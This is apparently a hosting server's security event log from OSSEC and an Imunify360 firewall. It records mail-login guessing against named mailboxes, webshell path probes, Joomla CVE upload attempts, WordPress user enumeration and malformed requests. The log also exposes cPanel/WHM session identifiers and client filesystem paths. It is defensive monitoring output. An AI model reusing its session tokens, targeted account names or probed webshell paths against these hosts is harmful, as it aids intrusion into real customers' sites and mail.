name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-07 15:15:53 dovecot_login authenticator failed for H=([112.146.186.63]) [152.52.227.94]:53102: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-07-07 15:19:11 dovecot_login authenticator failed for H=(102-220-158-10.simbafiber.co.zm) [101.13.4.128]:32834: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-07 15:19:24 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com ([211.104.166.110]) [213.66.196.11]:43758: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-07 15:22:58 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [94.16.17.141]:59566: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-07 15:23:35 dovecot_login authenticator failed for H=([182.95.238.36]) [49.206.201.253]:59036: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.113.70
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.243.200.248
country_id: 1861060
description:
2026-07-07 15:27:56 dovecot_login authenticator failed for H=([174.75.211.203]) [20.243.200.248]:39628: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 69.48.202.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://news.mainenewsreporter.com/story/615007/roofing-services-in-washington-il-promote-longterm-structural-protection-for-homes-and-businesses.html\">Washington roofing company nearby</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-07 15:30:20 dovecot_login authenticator failed for H=([192.111.129.146]) [94.16.17.139]:37906: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77209353
abuser: 103.160.213.162
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 85.204.70.106
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.194.39.64
country_id: 1835841
domain: metrodigitals.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/metrodigitals/public_html/wp-includes||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-07 15:39:01 dovecot_login authenticator failed for H=([49.124.153.22]) [181.56.174.63]:35274: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.135.60.145
country_id: 3017382
description:
2026-07-07 15:41:01 dovecot_login authenticator failed for H=ip145.ip-5-135-60.eu ([111.61.171.123]) [5.135.60.145]:8530: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-07 15:43:00 dovecot_login authenticator failed for H=(116.8.234.85.chtts.ru) [205.209.67.3]:54432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.42.133.74
country_id: 1835841
description:
2026-07-07 15:43:12 dovecot_login authenticator failed for H=([199.229.254.131]) [61.42.133.74]:57226: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.51.52.191
country_id: 1605651
description:
2026-07-07 15:46:00 dovecot_login authenticator failed for H=([49.125.201.90]) [101.51.52.191]:59474: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.235
country_id: 1668284
description:
2026-07-07 15:45:40 dovecot_login authenticator failed for H=111-70-9-235.emome-ip.hinet.net ([1.246.216.144]) [111.70.9.235]:36806: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-07 15:50:44 dovecot_login authenticator failed for H=([98.188.47.130]) [121.131.220.137]:45488: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.215.0.179
country_id: 6252001
description:
2026-07-07 15:51:02 dovecot_login authenticator failed for H=(nsg-corporate-175.229.187.122.airtel.in) [47.215.0.179]:43748: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.177.217.236
country_id: 3378535
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 98.191.0.37
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.wanbiaoku.com\">\xe7\x8e\xa9\xe9\x85\xb7\xe7\xbd\x91\xe5\xae\x98\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-07 15:58:07 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [70.88.108.12]:59328: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-07 15:59:51 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [125.138.166.217]:51512: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-07 15:59:23 dovecot_login authenticator failed for H=([192.252.216.83]) [49.124.205.169]:44742: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.84.37.236
country_id: 3923057
description:
2026-07-07 15:59:28 dovecot_login authenticator failed for H=([27.39.128.68]) [138.84.37.236]:7305: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.163.146.197
country_id: 2921044
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/images/index.php||SC:/home/ibmctradeflow/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-07 16:02:15 dovecot_login authenticator failed for H=([98.182.171.163]) [210.206.24.237]:43008: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.163.146.197
country_id: 2921044
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/index.php||SC:/home/ibmctradeflow/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-07 16:03:53 dovecot_login authenticator failed for H=(ool-4576e80d.dyn.optonline.net) [101.13.4.124]:55006: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-07 16:08:16 dovecot_login authenticator failed for H=([178.178.222.53]) [27.123.114.190]:58526: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.45.10
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2019/01/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.150.198.202
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.26||T:APACHE||RA:66.150.198.202||TA:66.150.198.202||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.198.5.248
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/about.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.6.181
country_id: 1269750
description:
2026-07-07 16:28:08 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [136.185.6.181]:41606: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-07 16:28:21 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [65.20.204.88]:56804: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 149.102.239.82
country_id: 798549
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://cqyanxue.net/home.php?mod=space&uid=94340&do=profile\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-07 16:30:56 dovecot_login authenticator failed for H=([50.217.40.11]) [65.20.205.197]:45160: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-07-07 16:31:24 dovecot_login authenticator failed for H=([49.124.151.63]) [122.187.230.183]:42579: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-07 16:34:26 dovecot_login authenticator failed for H=([70.166.167.35]) [65.20.204.41]:42478: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-07-07 16:35:13 dovecot_login authenticator failed for H=([72.37.217.1]) [220.94.238.133]:41505: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.72.83
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.72.83
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 40.74.72.83
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.52.229
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-07 16:44:49 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [172.90.128.97]:56640: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.104.107
country_id: 1269750
description:
2026-07-07 16:45:15 dovecot_login authenticator failed for H=(200-159-117-25.customer.tdatabrasil.net.br) [117.254.104.107]:54631: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-07 16:45:47 dovecot_login authenticator failed for H=([142.54.231.33]) [101.13.4.124]:59880: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/alnay/public_html/index.php||User:alnay||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-07 16:59:14 dovecot_login authenticator failed for H=([106.0.166.123]) [193.46.192.20]:34573: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-07 16:59:00 dovecot_login authenticator failed for H=([197.219.228.242]) [14.40.114.86]:38162: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-07 16:59:48 +0530] info [cpaneld] 223.181.13.36 NEW ibmctradeflow:n1JGR3cZMwF6LVTT address=223.181.13.36,app=cpaneld,creator=ibmctradeflow,method=handle_form_login,path=loadsession:ibmctradeflow:rz_PU8PscD4hshhk,possessed=1,possessor=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-07 16:59:57 dovecot_login authenticator failed for H=a4.ucndns.in ([103.117.155.41]) [103.252.168.4]:38377: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 8.210.183.148
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 8.210.183.148
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-07 16:59:24 +0530] info [whostmgrd] 223.181.13.36 NEW root:FTDNlYAbVu4Xqo0W address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-07 17:01:58 dovecot_login authenticator failed for H=([74.119.147.213]) [85.105.2.51]:43202: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.89
country_id: 1733045
description:
2026-07-07 17:02:23 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [49.125.201.89]:48686: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-07 17:03:05 dovecot_login authenticator failed for H=(213-65-190-48-no2550.tbcn.telia.com) [220.77.214.59]:43342: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-07-07 17:05:13 +0530] info [cpaneld] 38.72.131.163 - keralape "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user keralape (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.84.233
country_id: 2635167
description:
[2026-07-07 17:04:35 +0530] info [whostmgrd] 77.68.84.233 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.84.233
country_id: 2635167
description:
[2026-07-07 17:04:35 +0530] info [whostmgrd] 77.68.84.233 - root "GET /cpsess8318785689/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-07 17:05:11 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([142.54.229.253]) [85.195.9.20]:39260: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.82.4
country_id: 1605651
description:
2026-07-07 17:05:14 dovecot_login authenticator failed for H=([67.201.57.102]) [49.0.82.4]:59082: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-07 17:05:47 dovecot_login authenticator failed for H=([117.71.53.210]) [182.95.187.86]:53362: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-07 17:07:03 dovecot_login authenticator failed for H=([222.71.122.90]) [38.148.99.59]:45127: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.19.86.78
country_id: 294640
domain: dvtrack.custonews.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dvtrack.custonews.com/ajax/ip.php HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.77
country_id: 1733045
description:
2026-07-07 17:07:21 dovecot_login authenticator failed for H=([121.153.78.105]) [49.125.201.77]:43586: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-07 17:07:42 dovecot_login authenticator failed for H=(dsl-94-233-127-194.avtlg.ru) [169.211.232.182]:53362: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 152.42.225.238
country_id: 1880251
domain: www.metrodigitals.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/metrodigitals/public_html/index.php||User:metrodigitals||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-07 17:08:28 dovecot_login authenticator failed for H=([4.35.66.245]) [152.52.192.162]:46602: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.31.146
country_id: 2921044
domain: futuracare.com.au:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/futuracare.com.au:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.54.158
country_id: 2921044
domain: arcrealtors.com.au:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/arcrealtors.com.au:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.246.112
country_id: 2921044
domain: metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.182.229
country_id: 2921044
domain: gsmex.global:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/gsmex.global:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.56.143
country_id: 2921044
domain: alnayza.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.55.11
country_id: 2921044
domain: kallanigroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kallanigroup.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.90.43
country_id: 2921044
domain: travelinbh.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/travelinbh.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.57.24
country_id: 2921044
domain: sriganapathyent.in:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sriganapathyent.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 104.207.56.155
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in:80
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.26||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.55.11
country_id: 2921044
domain: ahsmarine.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.91.96
country_id: 2921044
domain: interceptorglobal.in:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.92.219
country_id: 2921044
domain: yukticlick.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/yukticlick.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.183.205
country_id: 2921044
domain: fefkadirectorsunion.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.182.120
country_id: 2921044
domain: reach.ddgalaxy.in:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/reach.ddgalaxy.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.31.174
country_id: 2921044
domain: ibmcglobal.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.43.49
country_id: 2921044
domain: jaashsupplies.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/jaashsupplies.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.55.11
country_id: 2921044
domain: vrishenterprises.in:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vrishenterprises.in:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.55.230
country_id: 2921044
domain: stcinemas.co:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/stcinemas.co:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.31.146
country_id: 2921044
domain: elegantautomotives.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/elegantautomotives.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.43.49
country_id: 2921044
domain: globalgroupoman.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com:80/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.56.155
country_id: 2921044
domain: sriganapathyent.in.vrishenterprises.in:80
